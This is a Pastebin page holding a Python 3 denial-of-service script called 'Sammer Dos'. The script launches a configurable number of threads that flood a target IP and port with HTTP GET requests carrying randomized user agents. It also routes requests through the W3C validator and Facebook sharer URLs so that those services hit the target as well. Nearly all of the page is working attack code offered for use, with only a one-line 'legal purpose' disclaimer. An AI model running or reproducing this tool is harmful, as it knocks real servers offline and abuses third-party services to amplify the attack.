Advertisement
TP2K1

Sammer Dos [Python]

Jun 23rd, 2015
711
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.08 KB | None | 0 0
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3.  
  4. # python 3.3.2+ Sammer Dos Script v.1
  5. # by Branko Tomic
  6. # only for legal purpose
  7.  
  8.  
  9. from queue import Queue
  10. from optparse import OptionParser
  11. import time,sys,socket,threading,logging,urllib.request,random
  12.  
  13. def user_agent():
  14. global uagent
  15. uagent=[]
  16. uagent.append("uagent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  17. uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  18. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  19. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  20. uagent.append("uagent=[]Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  21. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  22. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  23. return(uagent)
  24.  
  25.  
  26. def my_bots():
  27. global bots
  28. bots=[]
  29. bots.append("http://validator.w3.org/check?uri=")
  30. bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  31. return(bots)
  32.  
  33.  
  34. def bot_summering(url):
  35. try:
  36. while True:
  37. req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  38. print("\033[94mbot is summering...\033[0m")
  39. time.sleep(.1)
  40. except:
  41. time.sleep(.1)
  42.  
  43.  
  44. def down_it(item):
  45. try:
  46. while True:
  47. packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  48. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  49. s.connect((host,int(port)))
  50. if s.sendto( packet, (host, int(port)) ):
  51. s.shutdown(1)
  52. print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! summering--> \033[0m")
  53. else:
  54. s.shutdown(1)
  55. print("\033[91mshut<->down\033[0m")
  56. time.sleep(.1)
  57. except socket.error as e:
  58. print("\033[91mno connection! server maybe down\033[0m")
  59. #print("\033[91m",e,"\033[0m")
  60. time.sleep(.1)
  61.  
  62.  
  63. def dos():
  64. while True:
  65. item = q.get()
  66. down_it(item)
  67. q.task_done()
  68.  
  69.  
  70. def dos2():
  71. while True:
  72. item=w.get()
  73. bot_summering(random.choice(bots)+"http://"+host)
  74. w.task_done()
  75.  
  76.  
  77. def usage():
  78. print (''' \033[92m Summer Dos Script v.1 http://www.kali.org/
  79. It is the end user's responsibility to send down all applicable laws.
  80. It is just for server down. Your ip is visible. \n
  81. usage : python3 summer.py [-s] [-p] [-t]
  82. -h : help
  83. -s : server ip
  84. -p : port default 80
  85. -t : turbo default 135 \033[0m''')
  86. sys.exit()
  87.  
  88.  
  89. def get_parameters():
  90. global host
  91. global port
  92. global thr
  93. global item
  94. optp = OptionParser(add_help_option=False,epilog="Summers")
  95. optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
  96. optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
  97. optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
  98. optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
  99. optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
  100. opts, args = optp.parse_args()
  101. logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
  102. if opts.help:
  103. usage()
  104. if opts.host is not None:
  105. host = opts.host
  106. else:
  107. usage()
  108. if opts.port is None:
  109. port = 80
  110. else:
  111. port = opts.port
  112. if opts.turbo is None:
  113. thr = 135
  114. else:
  115. thr = opts.turbo
  116.  
  117.  
  118. # reading headers
  119. global data
  120. headers = open("headers.txt", "r")
  121. data = headers.read()
  122. headers.close()
  123. #task queue are q,w
  124. q = Queue()
  125. w = Queue()
  126.  
  127.  
  128. if __name__ == '__main__':
  129. if len(sys.argv) < 2:
  130. usage()
  131. get_parameters()
  132. print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
  133. print("\033[94mPlease wait...\033[0m")
  134. user_agent()
  135. my_bots()
  136. time.sleep(5)
  137. try:
  138. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  139. s.connect((host,int(port)))
  140. s.settimeout(1)
  141. except socket.error as e:
  142. print("\033[91mcheck server ip and port\033[0m")
  143. usage()
  144. while True:
  145. for i in range(int(thr)):
  146. t = threading.Thread(target=dos)
  147. t.daemon = True # if thread is exist, it dies
  148. t.start()
  149. t2 = threading.Thread(target=dos2)
  150. t2.daemon = True # if thread is exist, it dies
  151. t2.start()
  152. start = time.time()
  153. #tasking
  154. item = 0
  155. while True:
  156. if (item>1800): # for no memory crash
  157. item=0
  158. time.sleep(.1)
  159. item = item + 1
  160. q.put(item)
  161. w.put(item)
  162. q.join()
  163. w.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement